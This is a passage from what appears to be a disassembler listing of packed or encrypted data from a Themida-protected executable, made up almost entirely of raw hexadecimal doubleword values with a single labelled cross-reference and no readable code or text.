0E970ACA6h dd 771790A1h, 22331344h, 14DB1566h, 21321566h, 36A4A79Dh dd 223CFC06h, 67A81566h, 8E0C5979h, 7D75E68h, 83B2D931h dd 943D7507h, 88321561h, 0C4537506h, 0D75367A6h, 82B090EBh dd 63D134Fh, 4432156Ch, 2232108Fh, 2AC4A566h, 77C7F90Dh dd 4B52E0B6h, 223213EBh, 11B01A66h, 61321566h, 44321563h dd 0C2B4BF59h, 0A4BF7418h, 8E1BB0D9h, 443E9069h, 44521566h dd 0D679DEE7h, 7B28CBDCh, 0F9BF745Dh, 24182517h, 1135FC9Fh dd 97911566h, 0CC8705F5h, 28F59453h, 3807D31Fh, 828F4091h dd 6D07D31Fh, 0AB3D4889h, 1132156Eh, 0EE72A506h, 25AFE4DCh dd 6269E31h, 1136D1E7h, 85DB1566h, 0FF321566h, 0C91F3D3Ch dd 0A2C3395Ah, 3A2C3028h, 5C9FA8EDh, 9BCB1344h, 0EECDEA99h dd 0E8F22493h, 4BC59E00h, 0D753CED9h, 1132AF34h, 7A331566h dd 4432AE35h, 0F1331566h, 4B6916ECh, 89B01A06h, 0BC321566h dd 2232058Eh, 8A7C2466h, 0D09EE1C2h, 89383C96h, 542479A5h dd 4AF99E25h, 71FA2507h, 443A9B69h, 0AF3D1566h, 11321564h dd 37657406h, 0BBCDEA99h, 0DE6DEB4Fh, 96369E93h, 88321A8Fh dd 70221966h, 0DEA7A620h, 0CB590C8Eh, 1DD7C51h, 4B3AFCA7h dd 22321FE8h, 1137FC66h, 15DA1566h, 751B9B90h, 2AB81AA7h dd 1E321566h, 883217EEh, 0E537566h, 0DD519069h, 0F952EA99h dd 8832156Eh, 0BC905965h, 0E8D32E72h, 0A63D4B9Eh, 0D86374BEh dd 7F1A32DEh, 6761449h, 3C6A4D62h, 0A7093D41h, 4432078Fh dd 3A493066h, 77F82F58h, 0C6D26393h, 82B6B472h, 72DA66D4h dd 0E61611E1h, 0AC3692B6h, 443BFC3Eh, 0FF8B1566h, 0D38550h dd 0B1982E61h, 6629D0E3h, 0A6B61A60h, 0E8321566h, 0E9BBAB30h dd 0B4BB0C63h, 25D2D438h, 0A1F6954Bh, 4839E0E4h, 441A9069h dd 0CBCA1566h, 11321563h, 2A6FB1C4h, 79B7D2F9h, 23343763h dd 0F8321566h, 88321568h, 0CC4EDB2Dh, 48507B14h, 26B330B5h dd 306240B0h, 551D69BAh, 0E331FDA7h, 0AC67178Eh, 8C277793h dd 0C53AF0A7h, 22243DABh, 12DFD430h, 0B4BBF8E7h, 0AC031F52h dd 7AF3143Bh, 1132078Fh, 0D8897B66h, 5C50D1B2h, 0FE3DA5D9h dd 0DE54E1F0h, 0E9045C1Eh, 44349E69h, 0A9521566h, 7053759Fh dd 8836F9E7h, 40BB1566h, 0D3DFAD42h, 0D0BB0BD0h, 883AFC3Eh dd 994A1566h, 0D586319h, 0FDB30ADCh, 88321562h, 0FD1619EFh dd 0A026DB3h, 0E2BED4DCh, 0D1F82426h, 44321B8Fh, 0CCE63766h dd 94CCBE4h, 0E15B2C8Dh, 0BD1A2DDFh, 2221FCCBh, 85401566h dd 0C978F821h, 0AAB20623h, 60FECC90h, 9CC08DFBh, 91879C44h dd 4B343753h, 223214E3h, 0AE65E066h, 0C37B5608h, 0F8A0D2E7h dd 5CBBA1D0h, 350E9E9Ah, 8836D1E7h, 4FDB1566h, 0F3321566h dd 0A4284277h, 469C946Ch, 0AA0F278Fh, 2DDCFB88h, 1132E6E3h dd 91BB1A66h, 0AD321566h, 22321572h, 0F0E97CCDh, 76AEC50Ch dd 0DF7DA87Ah, 0B62F04D1h, 7B01EEBEh, 55EF2BE7h, 0C13DC8BBh dd 223215AEh, 11321D8Fh, 4C502D66h, 0B6829986h, 0EC8F4033h dd 0D0256D5Eh, 4DB31783h, 16074D2Bh, 0D7B3C091h, 5EDBD11Ch dd 0A4B93BEFh, 40F69442h, 2D321566h, 11320CEFh, 8826FC66h dd 876C1566h, 550BD411h, 62413E01h, 1E5D72DDh, 4FE12573h dd 75629165h, 113211D9h, 0D7CA9C66h, 4B6AD367h, 223214EAh dd 0A4BBE966h, 8E10207Fh, 443E9369h, 25DB1566h, 5F321566h dd 0CEE241A0h, 0CD3D2A21h, 22321579h, 11BE1A06h, 60321566h dd 44321577h, 0DDD07949h, 9E9F47D4h, 3ACEA246h, 0F0A3AFC7h dd 0CB534D86h, 113239F4h, 8823FC06h, 73251566h, 17BFC2FAh dd 907228F7h, 0D0F6162h, 2513A106h, 0DDCC668Fh, 10BF1A99h dd 71321566h, 60069436h, 34C94D93h, 0E48A453Dh, 0B924EE3Eh dd 4B524DA5h, 223213E6h, 11B61A66h, 0E9321566h, 410F9055h dd 43521344h, 11321E8Fh, 2C5F1D66h, 9AD7F9F0h, 1FBB33D9h dd 0F831DDA7h, 88321576h, 71AA5A4h, 6D5BC20Eh, 0A8E934F1h dd 1DEB744Ch, 0D02F4C63h, 70E23C2Fh, 852F4CDCh, 0D2E23C2Fh dd 4432058Fh, 7CFB0466h, 0F2217B43h, 29C6D201h, 6793B882h dd 32F2D400h, 0F8FA249Ah, 8832156Eh, 1F47615Ah, 7EDDE39Ah dd 0D28D4506h, 0D700506Fh, 25EBAA69h, 270F88EFh, 77521344h dd 0EE2832D8h, 2556F9DCh, 2332155Bh, 0EDB11A66h, 7D321567h dd 0FF892BE7h, 0A73DAEDDh, 11321489h, 88321D8Fh, 0BDE40666h dd 0D4FB6CD6h, 0C734D274h dd 94BBE40h, 4F537748h, 0AE34942Dh, 0E8E3755Ch, 88359269h dd 4B521566h, 7D62EFD9h, 0AB604007h, 88321562h, 4568C0EFh dd 0A53D4888h, 11321567h, 91879C9Eh, 4B343753h, 22320CE3h dd 1126FC66h, 0C9F31566h, 5CFA34F4h, 5F70F963h, 2D8E0F8Ah dd 0DEE8BD69h, 0D9B93845h, 24103497h, 11321B8Fh, 0D5CDE666h dd 0ED04113Dh, 4819B537h, 909897E4h, 8832118Ah, 60269C66h dd 223215DCh, 9AE81466h, 83D4F6Ch, 44321567h, 26B3459Ah dd 162A5A42h, 35674F51h, 61DA5FF8h, 0EF83D0E7h, 0FB1B0478h dd 9CDB753Bh, 7D321566h, 0A6154C83h, 0D7F05C9Ah, 0A360EDB6h dd 0B21CB39Ah, 993AAC7Fh, 63F920EBh, 85DB7507h, 0CA321566h dd 0EEC0440Dh, 0FA7F0ABh, 3D378644h, 44249469h, 0CB521566h dd 1132156Fh, 640845E7h, 90B26C6Fh, 7DE59412h, 700AF5C3h dd 8836F9E7h, 50BB1566h, 0AF3D4D42h, 1132156Ch, 43B37306h dd 0FB3DC510h, 2DDB74AEh, 3E321566h, 6BA336BCh, 0D644423Bh dd 52C64DD6h, 9419DDE5h, 8E10274Bh, 46D2D49Fh, 2232018Fh dd 81E17266h, 490A4D42h, 103DAD12h, 72E2BB4Dh, 813FBEB5h dd 99B71638h, 0AD343770h, 22321563h, 0DBF86379h, 0B9C224F0h dd 0ADC224A0h, 22321563h, 78EE2DEBh, 87C7B8F0h, 443210E4h dd 0F4B27566h, 0B41F74D8h, 8932D005h, 0DB8F40AEh, 0A325982Eh dd 0DD39B78Bh, 9E7E27Ah, 3D6D488Bh, 7FDA1462h, 1138FC9Ah dd 7E671566h, 569ED3B0h, 72665329h, 0D1651EFh, 88321C8Fh dd 876C2A66h, 550BD411h, 0F8533E01h, 8832156Bh, 2431523Ch dd 8B6E1764h, 6213AA69h, 8AC2FC67h, 50DB1566h, 76321566h dd 41E2BB4Dh, 183FBEB5h, 386C3B38h, 0A00352DEh, 44F7B451h dd 4DB3F0EFh, 44321562h, 0A536F8E5h, 986E314Ah, 0E852316Ah dd 24F5A269h, 9D3D7407h, 9865749Fh, 8CF59481h, 0C5321566h dd 22321189h, 350E9266h, 0AC269C3Ah, 4420FC06h, 0A9761566h dd 40C061B5h, 7A73B4FDh, 303CEC3Ah, 9AFDB3A9h, 0D803749Eh dd 8CB01A06h, 22321566h, 43B1D0D9h, 13C380EDh, 73D1344h dd 4432156Eh, 22309869h, 70521566h, 0C3D175Dh, 44321512h dd 22321D8Fh, 3F37B766h, 293B51FDh, 0FD63E981h, 22321562h dd 1FD7E7h, 42331120h, 551FFFE7h, 426B1120h, 1EEDAA69h dd 0DE53CED1h, 0D17369D8h, 0A1C4940Eh, 38A57FD8h, 80DB4B97h dd 6E321566h, 0E28BB445h, 2A37D599h, 0AA1488EBh, 0E1B71A60h dd 0DECDEA99h, 1132150Eh, 0AC369E66h, 4436D1E7h, 0AFC71566h dd 3362A4EBh, 7AB27560h, 8D851A19h, 0DAD3EA07h, 3D4798EFh dd 85DB1344h, 84321566h, 504B6EC2h, 45A3CF93h, 0E2C4C4E3h dd 4437FC06h, 32B01566h, 0E4AEEC0Ch, 0AC06EA07h, 40F6943Ch dd 0CB321566h, 1132156Ch, 409E111Fh, 297BA45Bh, 16CDA13Dh dd 0D5B14C42h, 36547562h, 0FC548B0Fh, 73534927h, 0D0B3F4EFh dd 88321562h, 4436FCE7h, 2EB51566h, 25BB4942h, 883AFC42h dd 0F3551566h, 4639835Bh, 8CB941EBh, 8E103497h, 44321C8Fh dd 0F84EF566h, 2195294h, 3260EC48h, 44321566h, 28B9CF67h dd 921601EDh, 63D11A2h, 4432156Ch, 2232108Fh, 73949D66h dd 0DB982D4h, 42103913h, 0CBD2C49Ah, 11321577h, 56413DA6h dd 0E14DB79Bh, 0B0D024C1h, 5CAD7322h, 0FDB716B3h, 2434377Bh dd 0EFE39400h, 0E70374F0h, 4FD59406h, 4B536F97h, 223210E0h dd 0DEB37366h, 0E05310FFh, 44321373h, 741611EFh, 1EDB4B3Eh dd 0A1321566h, 0D7DA338Ah, 0CDAF566Dh, 8360DC9Bh, 615232F2h dd 4432156Ch, 13937E98h, 258122B2h, 33D7C1Dh, 44321569h dd 22321C8Eh, 0BBCB9566h, 35717E96h, 256CE9BAh, 0A73DB800h dd 11321561h, 76ACAE06h, 855374F9h, 2D521786h, 0AE3DEBD1h dd 0D3174AFh, 42100377h, 2220FC06h, 25C21566h, 6648E880h dd 0E957792Eh, 5381F7FEh, 0E8483378h, 88349969h, 0C73D1566h dd 22321566h, 1CB11A07h, 61321566h, 4432156Eh, 36523076h dd 50FC2385h, 8CB94336h, 40F69442h, 7C321566h, 11339369h dd 74C71566h, 50B61ACBh, 0CB321566h, 11321569h, 0A1A75B05h dd 5E2B5C83h, 60DF1A41h, 3CAF4ED2h, 0E8DC0032h, 0C97AB563h dd 0FFA143Ch, 4BBF5DC6h, 66274163h, 95B97506h, 43F0AA69h dd 4F162199h, 0E836D1E5h, 0D1DD9493h, 430D32B1h, 0B3DDAC06h dd 3547F7Eh, 0F9B17496h, 241031EBh, 84B61A67h, 0E8321566h dd 321739D8h, 0E3E1947Ch, 70165002h, 0BB9B985Dh, 0C03D1344h dd 2232151Ah, 11339F69h, 0B3C71566h, 663DDCEBh, 4BB61A60h dd 0ED321566h, 92FB985Dh, 0C03D1344h, 2232153Ah, 113A9C69h dd 33D1566h, 44321564h, 0BFBF7406h, 17181713h, 0E9CEED06h dd 44209D69h, 2FDB1566h, 0FD321566h, 0A1503271h, 1694EDD2h dd 7F50C6DFh, 41CAC699h, 0B1629EDh, 0CD3D11A2h, 22321567h dd 0B4B79C9Ah, 6134374Fh, 4432156Ch, 0C5FF7334h, 6F92428h dd 9FDBCD5Ah, 0BD321546h, 204788EBh, 903D134Ch, 88321569h dd 4435FD06h, 0E2781566h, 1F6A3FC0h, 77534EC3h, 155275B5h dd 0E7887338h, 925374B1h, 0AA1698DBh, 0C03D1560h, 22321529h dd 1132048Fh, 5ED76166h, 6D1F33CDh, 6C5A81CBh, 0E5CD016Ah dd 0D09DCFFh, 42100ED3h, 222C9169h, 1ECB1566h, 88321FE4h dd 0FB3D7566h, 0ADDAABA6h, 2A535013h, 0AA2E0CE3h, 54B71A60h dd 0D7321566h, 0EECD2C8Fh, 8837FC99h, 368E1566h, 19931DBCh dd 33391CE3h, 0E5B71A60h, 0BC321566h, 2DB41A06h, 0F8321566h dd 8832156Ch, 6FDC575h, 9D583328h, 92536D34h, 0AA32E0DBh dd 0C03D1560h, 2232154Fh, 11339369h, 0BC71566h, 660154DBh dd 0A63D1560h, 11321552h, 616D4406h, 4432156Ah, 6D5999EFh dd 268C0B1Fh, 0A5389C0Bh, 0CEB79807h, 0DA343C0Eh, 0EECCDC8Fh dd 883CFC99h, 88441566h, 0EA18E3F7h, 17E423BDh, 0D2A69230h dd 4F3B905Dh, 0A63D1344h, 0EECDEBCCh, 5B8F969Ah, 45343CC2h dd 22B89069h, 1EDB1566h, 0F3321566h, 853CC981h, 699C994h dd 3FDB5B3h, 0D097166h, 421BB061h, 22589069h, 0F8521566h dd 88321575h, 7798AFA6h, 5142910Dh, 28A4BEC0h, 61A55248h dd 0AC7418BFh, 22321574h, 98316B0Dh, 6020B256h, 8DC521B9h dd 0AE031C52h, 4BCA6ED5h, 6CB79807h, 0AD324C6Dh, 2232156Bh dd 7C810B52h, 9E7ABD8Bh, 0BDD03B7Ch, 0DC63FC02h, 973DEA99h dd 88321572h, 44BD1A06h, 0CB321566h, 11321561h, 25D2FE37h dd 25FCEE43h, 4452EA57h, 0E696CCE7h, 0E9E39E00h, 61ABA8E5h dd 2D321344h, 112290E2h, 883AFC66h, 0D8A71566h, 0E4E320ABh dd 94091343h, 8E1BB195h, 447C9069h, 0AB3D1566h, 11321562h dd 0E9537506h, 6CB790EDh, 0AC3D1344h, 11321577h, 883AFC06h dd 117C1566h, 817DA067h, 70523F0Ch, 898B4407h, 45321566h dd 30DB4CA9h, 33321566h, 0F0879546h, 0CE820169h, 0BAB4072Bh dd 0CCECC6F3h, 89B71A53h, 0B1321566h, 86C9905Dh, 943D134Fh dd 8832154Bh, 4432198Fh, 7B3E9C66h, 919493BEh, 0C789CE9Dh dd 0DB79E2Fh, 0CB343777h, 1132156Ch, 1587AAE5h, 3E3E8187h dd 7265F621h, 86724D39h, 7FB72E9Eh, 4B343CC2h, 223241E3h dd 1DB7566h, 0BA321566h, 4D12B4FEh, 642EAC73h, 8990A8Dh dd 875C4642h, 443210E9h, 0DE39AD66h, 0E45338E2h, 0BBBB90EDh dd 55DB1344h, 3E321566h, 0E762188Dh, 0BB6D9FDh, 4CF3115Ah dd 89D736A8h, 0EECDAE35h dd 571BEA99h, 588753Dh, 9B43D339h, 22AFF3D7h, 77B72E07h dd 4B343CC2h, 223228E3h, 113AFC66h, 6CE31566h, 7468A6BBh dd 0A7B97388h, 17101D17h, 88339169h, 15CB1566h, 0DDCDEADFh dd 48FD3C99h, 88269569h, 0AC521566h, 2232156Ah, 46AA2FAh dd 650FD924h, 0C12CFBDEh, 0A7097438h, 171BB065h, 88199069h dd 0CFCE1566h, 3B00E3h, 1134FC60h, 0CE681566h, 0F1AE08EFh dd 2233AB30h, 0E6331566h, 37547538h, 0CF54B669h, 0A53D749Ch dd 11321567h, 8FB72E9Ah, 4B343CC3h, 223256E3h, 1BA1A66h dd 61321566h, 4432156Dh, 8DADAD82h, 70EB40F0h, 344AA48h dd 662F20E3h, 9961E960h, 0EECDEA99h, 7D69CA4Fh, 44249A69h dd 33DB1566h, 0C8321566h, 72AD086Ch, 53A444A1h, 0A0FA4E47h dd 0D748B04Eh, 2D39905Dh, 0C13D134Fh, 22321558h, 94B9ED93h dd 8E100323h, 0C5C39E06h, 1715B6B8h, 0A9627431h, 0A65A51A2h dd 3307C591h, 0E371B825h, 42371786h, 8D58F91Eh, 126636FBh dd 0E4F3453h, 49F5146Ch, 498D1A06h, 83E756DCh, 0A7097424h dd 171BB069h, 88569069h, 54DB1566h, 8F321566h, 0A87CEA28h dd 54DEF81h, 5E8369ABh, 42B079A9h, 1132188Eh, 8FDFE766h dd 0E06CF321h, 0A69D46Fh, 9F3D5122h, 88321566h, 443DFC3Eh dd 0F4EC1566h, 33052878h, 0C5042514h, 0CF33C660h, 0A7B97438h dd 171024CBh, 24DEAF06h, 8CB96623h, 0EB14207h, 1E6DEA42h dd 883210E7h, 16C77566h, 0A7097438h, 171BB075h, 88619069h dd 0C5521566h, 31405891h, 2F37AC05h, 3531AA2h, 662960E3h dd 2221FC60h, 12431566h, 7E3ACC8Ch, 0F2BFCB25h, 23BA5471h dd 0F2E47814h, 778A459Eh, 6DCDEA99h, 0AA3D4DA1h, 1132157Fh dd 8832018Fh, 0B1C4C766h, 76B2ECE0h, 0EA2B8D5Ch, 0BDE3D724h dd 0F28EA1ABh, 35B72EE6h, 1E343CC3h, 88322CE3h, 0C1B9E066h dd 24101A83h, 0AA617406h, 77CDEA99h, 4B69CA4Fh, 223218E2h dd 113AFC66h, 603F1566h, 566F81A6h, 2DDB2090h, 37321566h dd 21999AD8h, 2127D81Ah, 0A924D9Ah, 940976B5h, 8E1BB079h dd 44669069h, 44521566h, 21D5E3E7h, 88BA1A34h, 1C321566h dd 0D3B79E07h, 0F8343776h, 88321575h, 0A557ADDCh, 22224D2Ah dd 0DACC1094h, 0F4D4C05Ch, 0C526C186h, 2232118Ah, 350E9C66h dd 0D7161199h, 44269669h, 0A03D1566h, 11321568h, 88321C8Fh dd 43C74466h, 0C464C279h, 9409CC19h, 8E1BB07Dh, 44789069h dd 0A1CA1566h, 331694DBh, 0D3D1560h, 4432155Ah, 0FA897306h dd 9A53ED22h, 0AA2F44E3h, 4426FC60h, 0ED881566h, 0E07CB26Ah dd 0C7FEA17Bh, 94B6DEB6h, 0B8B3DB0h, 0AA612117h, 88321567h dd 0AD69CA67h, 2232156Eh, 723BB357h, 23ACAB41h, 5EEBA8E5h dd 2D321344h, 113252E2h, 8FBE1A66h, 4B321566h, 223214E8h dd 9409EC66h, 8E1BB0C1h, 441C9069h, 9C521566h, 5690C5C1h dd 11B79E07h, 0B1343755h, 1374E2E1h, 20CC2491h, 99B11A91h dd 24321566h, 0CBC59E00h, 11321561h, 141EEC3Ch, 25FC5BDCh dd 88BA8E5h, 1E321344h, 883083E2h, 4CB11A66h, 2D321566h dd 113217E5h, 0B537566h, 662F18DBh, 0A63D1560h dword_578968 dd 1132171Dh, 88359769h, 0CA3D1566h, 22321567h, 9AB72E9Fh ; DATA XREF: Themida_:0051E1EFo dd 87343CC3h, 44324AE3h, 2223FC66h, 0A29C1566h, 69F7F09Bh dd 0EBBCF14Ah, 9EDF069h, 9AECFDEDh, 0AA1800E3h, 4421FC60h dd 0BDE51566h, 0D9A12252h, 43463F4Ch, 7031EEEEh, 0F101876Dh dd 128F403Ah, 9128436h, 3C44F9A3h, 0CCC7947Ah, 100F1CA0h dd 82DB4889h, 0B6321566h, 0A9F1071Eh, 81416F06h, 89B91AE2h dd 0B1321566h, 87A9905Dh, 943D134Fh, 8832153Eh, 0C7F9AA06h dd 0A953370Ah, 3333A4E3h, 23DEC60h, 44321577h, 22399A69h dd 17DB1566h, 0AD321566h, 344589B1h, 5088474Ah, 90667578h dd 17D39AA4h, 1EE514CDh, 953DE906h, 435274BDh, 8832058Fh dd 0B8F82D66h, 0CF1B78B1h, 2C8F7F8Ah, 194586B2h, 0BE8A4C69h dd 4304D7F5h, 0B4BD905Dh, 0D3D134Fh, 4432151Ah, 22279969h dd 0AA521566h, 0F1431ED9h, 44321D8Eh, 67CD3E66h, 29EAA7h dd 3534E1Fh, 66374CE3h, 128A7560h, 77302449h, 0D853C6EDh dd 0BBCDEADEh, 7AF53C99h, 0A8547506h, 81DB103Ch, 2D321566h dd 4C7FBB78h, 0C23C8BCDh, 9FB61A07h, 0AD321566h, 22321574h dd 0B61D584Fh, 0C5651F5Dh, 9DBA1CFBh, 0F5C939F8h, 71539D84h dd 8832128Fh, 95E59566h, 8493F316h, 0FBB37330h, 0E96B893Ch dd 0E1AD905Dh, 0A73D134Fh, 11321522h, 0F9B79E9Fh, 24343776h dd 22321A8Fh, 3EEF3D66h, 0BE961811h, 6046B8EFh, 0BA6F7F6Ah dd 0EE884707h, 0A1CDEA99h, 4BCB4FB1h, 223202E8h, 1120FC66h dd 0B3231566h, 505631AAh, 2DB6CD11h, 310C4B06h, 0D4608EAAh dd 0E191905Dh, 0A73D134Fh, 11321549h, 89BD1A9Eh, 0BC321566h dd 262390EDh, 9B521344h, 883CFCA7h, 0B7CD1566h, 422130B3h dd 0A867E314h, 0A0298DBAh, 458C4307h, 23321566h, 2AC74B91h dd 0A19786E3h, 7BB71A60h, 42321566h, 11349869h, 93D1566h dd 44321566h, 51E3C6E7h, 9A5304D4h, 0AA3D24E3h, 0BB65E060h dd 1EB93162h, 15F69442h, 87321566h, 443205EBh, 43527566h dd 1132138Eh, 1B0E9566h, 1C607919h, 0A709EC07h, 171BB0F1h dd 88079069h, 0CFCB1566h, 3AD8E3h, 113BFC60h, 658C1566h dd 0E84239Dh, 74DE711Ah, 0B12B48D8h, 0E4FC940Ch, 0A631645h dd 1B37E3E7h, 0F7F37E3Dh, 19DC9462h, 6D3D9541h, 0A1CE4B91h dd 332F18DBh, 0C3D1560h, 44321CF8h, 22B71A06h, 70321566h dd 2D11905Dh, 0C13D134Fh, 22321531h, 113C9669h, 81DB1566h dd 0A2321566h, 0FE93693Bh, 0DEB8AF46h, 9FDB90EDh, 0C5521344h dd 3DBD6788h, 10BA1A56h, 70321566h, 0F967E907h, 501B6CA2h dd 9709D0E7h, 671B98B0h, 0C43DE03Bh, 22321571h, 45887306h dd 883EFC86h, 24C91566h, 0CBE288ECh, 0AD06837Ah, 0B3536450h dd 6D97A2E3h, 6FB71A60h, 0F8321566h, 88321561h, 1BC4394Dh dd 0A9085C42h, 3326D4E3h, 8834FC60h, 3CE51566h, 0B7FCD767h dd 1133A833h, 67331566h, 4DDA753Bh, 4321566h, 2C6419D6h dd 0A4C06459h, 4B52743Dh, 223217EFh, 1E6A4366h, 883213E0h dd 44BF1A66h, 43321566h, 0B415905Dh, 0D3D134Fh, 4432154Eh dd 2234FC93h, 476E1566h, 8351986Bh, 74BB90EDh, 70521344h dd 0A9627439h, 88321567h, 246AD267h, 518CB7D5h, 703789AAh dd 2D19905Dh, 0C13D134Fh, 2232152Bh, 8CB79E9Fh, 8734374Ah dd 443218EFh, 0A3547566h, 1E1342BEh, 883215EAh, 0FD637466h dd 22321567h, 1E6BDA67h, 883219E2h, 4435FC66h, 0A33F1566h dd 4553AA29h, 8821FC73h, 85591566h, 7C009CC3h, 7FC1F73Eh dd 885C1D7h, 0B186F1C4h, 0DB72E0Ah, 1E343CC3h, 883257E3h dd 4423FC66h, 7A141566h, 0B0E0057Ch, 0FAED633Ch, 501A9E8Dh dd 0A9A9B08Dh, 333C3CE3h, 8839FC60h, 4A871566h, 1B75659Eh dd 71732A2Bh, 778B44F6h, 6DCDEA99h, 2ADB4CA9h, 0C8321566h dd 1FB7FF71h, 7F824531h, 0B9726E3h, 69B71A60h, 61321566h dd 44321572h, 76C619C8h, 44F0CB58h, 0EB91C34Bh, 7566F8A7h dd 3A542277h, 35B3A8E5h, 87321344h, 443247E3h, 0A7B9ED66h dd 17101F1Bh, 83BB1A06h, 0AD321566h, 22321560h, 8BB6D0A0h dd 61529135h, 44321569h, 31960DD7h, 97383D97h, 0A2662526h dd 4B7C9798h, 223215ECh, 0ED537466h, 8833AB30h, 0B3331566h dd 2BDB7538h, 0FD321566h, 0ED7F3AF5h, 2D712202h, 1953EBECh dd 389722E3h, 0C6B71A60h, 4B321566h, 223204E4h, 113EFC66h dd 3D341566h, 0D752EFC8h, 0E3833025h, 94B98BD5h, 8E100D2Fh dd 0E18C4393h, 0A3684D61h, 3A3D14A0h, 80DCD43Fh, 0C534FBA7h dd 20FC1890h, 4FC51466h, 883C9A69h, 4DDB1566h, 80321566h dd 0C7884166h, 43B1F474h, 7FB72E9Eh, 2D343CC3h, 113250E3h dd 80B21A66h, 4B321566h, 223217E8h, 92537566h, 0AA1694DBh dd 0C13D1560h, 2232154Ch, 94B9EC93h, 8E1000C3h, 443E9569h dd 0AD3D1566h, 11321560h, 88329069h, 0FC621566h, 22321567h dd 1E6AD267h, 883214EDh, 0C109E966h, 241BB059h, 11629069h dd 82DB1566h, 69321566h, 47E7A660h, 7591E4DAh, 89BF1A03h dd 0B8321566h, 102F90EDh, 71521344h, 3FFC9E00h, 15537473h dd 0DDCDEADFh, 48FD3C99h, 882E9B69h, 0AC521566h, 22321574h dd 1EDC1E56h, 93D6724Ch, 0CEA035E2h, 0ACFCD831h, 716B4897h dd 0D097407h, 421BB025h, 22029069h, 0A9521566h, 9C9DD038h dd 0FD7DC4E7h, 0A9537A22h, 333D14E3h, 0E952EC60h, 0BBCDAE35h dd 0FD1BEA99h, 113EFC3Dh, 0BBF41566h, 0B8245721h, 2CDCBD05h dd 94096585h, 8E1BB02Dh, 44409069h, 31DB1566h, 72321566h dd 0FF99D804h, 493E085Fh, 0C0F5D0BDh, 0E2CF1CBEh, 35B15A35h dd 421031E7h, 6FB71A66h, 1E321566h, 883207EEh, 443FFC66h dd 0A711566h, 0E04E989Ah, 0A72DDA05h, 0AD7B7C3Fh, 22321577h dd 1B526E6Bh, 0BF570B28h, 0BF74B93Ch, 0D240F737h, 90B79EE5h dd 0E834374Bh, 4432128Fh, 1A66B66h, 38530F8Dh, 3163749Ah dd 44321567h, 0DB6BDA67h, 0B475905Dh, 0D3D134Fh, 44321535h dd 0A38F969Eh, 11343742h, 88779069h, 42DB1566h, 5A321566h dd 0BA3E869Dh, 29B79E12h, 4B343762h, 22321FE6h, 28807566h dd 8AC7C2E7h, 24535E35h, 32F89400h, 0F5887394h, 32607422h dd 0BBCDEA99h, 0CB68C24Fh, 1132156Dh, 0F577A610h, 0EA6DB5E3h dd 1938CE9Ah, 38975AE3h, 0DEB71A60h, 4B321566h, 223200EEh dd 1122FC66h, 0A91C1566h, 202516EAh, 3512BA7Fh, 0C7F28F5Dh dd 0DB910FEh, 421005ABh, 22359E69h, 0A9521566h, 0AD7180C4h dd 38A4507h, 277ADB71h, 3E4B5DFDh, 711F8B4Bh, 69E2E23Fh dd 0C383D8DAh, 0F86AD24Fh, 8832156Fh, 0DBDC8E6Eh, 85F9B423h dd 42B72E21h, 87343CC3h, 443225E3h, 0A7B9E966h, 171027F3h dd 883F9F69h, 4B521566h, 223215E5h, 0D1B37366h, 0DE53EE70h dd 443214D8h, 7CC51466h, 11359369h, 71521566h, 8240AE00h dd 75B72E07h, 1E343CC3h, 883220E3h, 45BF1A66h, 0DA321566h dd 36F90EDh, 9BDB1344h, 0EA321566h, 59F64E7Bh, 2B2EF83Fh dd 283B70F6h, 0DEAF3195h, 9A6279F4h, 0EECDEA99h, 876AD24Fh dd 443214EAh, 0A709E066h, 171BB03Dh, 88099069h, 0CFCE1566h dd 33A8E3h, 0BA1A60h, 87321566h, 44321EE4h, 2234FC66h dd 0C0411566h, 7FB91D12h, 44321B8Fh, 97D5866h, 95625EBDh dd 0EB3E5EA1h, 15D3281Eh, 0DDCDEADFh, 48FD3C99h, 0D7B72E9Fh dd 4B343CC3h, 223231E3h dd 10B11A66h, 7D321566h, 76BB90EDh, 70CA1344h, 0EECDEADCh dd 0D2E53C99h, 44321D8Fh, 0BCD54866h, 43273DF4h, 0EBB72EA0h dd 4B343CC3h, 22327FE3h, 91607566h, 876AEA97h, 443201E8h dd 223CFD66h, 0BBA11566h, 69AB49F4h, 43DFE7DEh, 866CF321h dd 94B97439h, 8E10245Fh, 44339269h, 0DECE1566h, 427CAF34h dd 6AB35F9Ch, 649B6E6Eh, 0DA5DFE7h, 0FBB339B5h, 0D6696375h dd 0C534F7A7h, 0DFAEEA94h, 4BE53C31h, 88239669h, 48DB1566h dd 0FF321566h, 4D2819D2h, 0B79DEB67h, 7F8E8095h, 0B9772E3h dd 38B71A60h, 0E8321566h, 44321F8Fh, 0D5C5B766h, 56AB4FD4h dd 87BC21BEh, 0CF53ECD1h, 2CC0E3h, 0A63D7560h, 32607498h dd 0BBCDEA99h, 0D768C24Fh, 0B459905Dh, 0D3D134Fh, 44321547h dd 22339C69h, 9ACB1566h, 0AA3430E3h, 4B527560h, 223215E5h dd 43537466h, 77CDEADCh, 1EE53C99h, 8FB72E9Eh, 1E343766h dd 883222E3h, 4439FC66h, 0EF791566h, 0A6DB189Ch, 8C806499h dd 0DDB79E09h, 0DE34377Ch, 113A9969h, 0F3D1566h, 44321564h dd 0DD657406h, 2DB93162h, 8CF69642h, 0E28D7306h, 43F09EE0h dd 0B45D905Dh, 0D3D134Fh, 4432155Dh, 22219B69h, 0F9521566h dd 8832156Fh, 0BF2B8D5Ch, 17E3D724h, 70524CABh, 0E1B79E07h dd 4B343743h, 22321DE3h, 13B51A66h, 0E8321566h, 0BB8A4507h dd 0BCDEA99h, 1E524DA1h, 0B353EED9h, 6D97BEE3h, 4BB71A60h dd 71321566h, 3DF39400h, 44BC1A07h, 43321566h, 0B481A8E5h dd 8732134Fh, 443234E3h, 9FB1E966h, 171031EBh, 0C9B61A66h dd 4B321566h, 223219EEh, 17B51A66h, 87321566h, 443215E4h dd 0A7B9ED66h, 17100143h, 88339469h, 12CE1566h, 0DDCDEAD8h dd 4FC53C99h, 8CB61A06h, 22321566h, 9C9826D8h, 0FBA5C0Ah dd 31547507h, 25CB83ABh, 879D905Dh, 943D134Fh, 883215E6h dd 44239D69h, 2EDB1566h, 31321566h, 55E32F59h, 0FAB36F78h dd 0A16B61D6h, 3897A6DBh, 0D3D1560h, 4432154Ah, 44BBA506h dd 9253C4EDh, 0AA1698DBh, 0C03D1560h, 2232152Eh, 1132068Fh dd 35537366h, 7E61E544h, 6A784FEBh, 655708CEh, 0F668CC9Ah dd 63E390EDh, 32DB1344h, 9C321566h, 2ACB5D57h, 69935AC5h dd 8351D68Ch, 46F03D1Fh, 3161199h, 80B3315Ah, 22321562h dd 11339A69h, 7DCA1566h, 0E141905Dh, 